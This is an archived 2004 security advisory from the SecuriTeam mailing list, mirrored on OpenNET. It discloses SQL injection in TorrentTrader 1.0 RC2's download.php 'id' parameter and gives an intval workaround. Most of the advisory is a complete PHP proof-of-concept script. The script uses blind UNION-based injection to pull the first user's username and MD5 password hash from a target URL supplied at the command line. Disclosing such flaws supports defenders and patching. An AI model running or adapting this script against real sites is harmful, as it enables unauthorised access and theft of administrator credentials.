The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] TorrentTrader SQL Injection


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 6 Sep 2004 13:04:00 +0200
From: SecuriTeam <[email protected]>
To: [email protected]
Subject: [UNIX] TorrentTrader SQL Injection

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  TorrentTrader SQL Injection
------------------------------------------------------------------------


SUMMARY

" <http://www.torrenttrader.com/>; TorrentTrader is a feature packed and 
highly customisable open-source BitTorrent tracker."

Due to insufficient sanity checks on input variables it is possible to 
perform SQL injection through TorrentTrader and retrieve the 
administrative username and MD5 password hash.

DETAILS

Vulnerable Systems:
 * TorrentTrader version 1.0 RC2, possibly prior

There is no input sanitation on the 'id' parameter of the download.php 
script, prior of it being used in an SQL query. Therefore, it is possible 
to manipulate the SQL query by passing arbitrary SQL code.

A proof of concept code is provided which dumps the username and password 
MD5 of the first user in the torrent web application database, which 
should be the administrator. Naturally, the script is adaptable so that 
other usernames and password MD5s can be obtained. First it fetchs a valid 
torrent id, then it determines if the database's user can perform the 
"union select" construct and finally it obtains the username and password 
MD5 hash.

Usage:
$ php4 -q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"

Workaround
A simple workaround would be to edit line 13 in download.php and replace 
it from:
$res = mysql_query("SELECT filename FROM torrents WHERE id = $id");

to:
$res = mysql_query("SELECT filename FROM torrents WHERE id = 
".intval($id));

Proof Of Concept
#!/usr/bin/php

<?

/*

        TorrentTrader 1.0 RC2   SQL Injection   Proof of Concept
        By aCiDBiTS     [email protected]      31-August-2004

        "TorrentTrader (http://www.torrenttrader.com/) is a feature packed 
and
highly customisable open-source BitTorrent tracker."

        This PoC dumps the username and password's md5 hash of first user 
in
TorrentTrader web application database, that should be the administrator.
First it fetchs a valid torrent id, then it determines if database's user
can perform "union select" and finally obtains the username and
md5(password). Tested on TorrentTrader 1.0 RC2, maybe older versions also
vulnerable.

        Usage (in my debian box):
        php4 -q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"


++  Vulnerability description  & workaround++

        There is no user input sanization for parameter "id" in 
download.php prior
beeing used in a SQL query. This can be exploited to manipulate SQL 
queries
by injecting arbitrary SQL code. A workaround to solve this is to modify
download.php, line13:

        $res = mysql_query("SELECT filename FROM torrents WHERE id = 
$id");

        With:

        $res = mysql_query("SELECT filename FROM torrents WHERE id =
".intval($id));


*/


echo "+----------------------------------------------------------+\n|
TorrentTrader 1.0 RC2   SQL Injection   Proof of Concept |\n| By aCiDBiTS
   [email protected]     31-August-2004
|\n+----------------------------------------------------------+\n\n";


if($argc<2)     die("Usage: ".$argv[0]." 
URL_to_TorrentTrader_script\n\n");
$host=$argv[1];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "[+] Getting valid torrent id ... ";
$webc=get_web($host);
$temp=explode("torrents-details.php?id=",$webc);
$id=intval($temp[1]);
if( !$id ) die( "Failed!\n\n");
echo "OK\n    Using Torrent id: $id\n\n";

echo "[+] Checking if injection is possible ... ";
$bas=$id."%20and%200%20union%20select%201%20from%20users%20where%20";
if( test_cond( $bas."1" ) && !test_cond( $bas."0" )  ) echo " OK\n\n";  
else
die ("\n\n Failed! \n\n");

echo "[+] Getting username & password ... \n    Username: ";
get_field( "username");
echo "\n    MD5(Password): ";
get_field( "password" );

die("\n\n     \  /         \  /\n     (Oo)  Done!  (oO)\n    //||\\\\
//||\\\\\n\n");


function test_cond( $cond )
{
        global $host;
        $res=get_web( $host."download.php?id=".$cond);
    if( eregi( "The ID has been found on the Database, but the torrent has
gone!", $res ) )
                return 1;
        else return 0;
}


function get_field( $field )
{
        global $bas;
        $unval= " 
0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
        $idx=1;
        $min=0;
        $max=strlen($unval);
        while($min!=$max) {
                $mid=$min+(($max-$min)/2);
                if(
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1)))
) {
                        $idx++;
                        echo substr($unval,$mid,1);
                        $min=0;
                        $max=strlen($unval);
                        if( 
!test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))") )
return;
                } else {
                        if(
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1)))
) $max=$mid;
                        else $min=$mid;
                }
        }
        die( "\n\nUnexpected error!\n\n");
}


function get_web($url)
{
        $ch=curl_init();
        curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt ($ch, CURLOPT_HEADER, 0);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
        $data=curl_exec ($ch);
        curl_close ($ch);
        return $data;
}


/*     \    /
        (Oo)
       //||\\    */

?>


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
acidbits.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру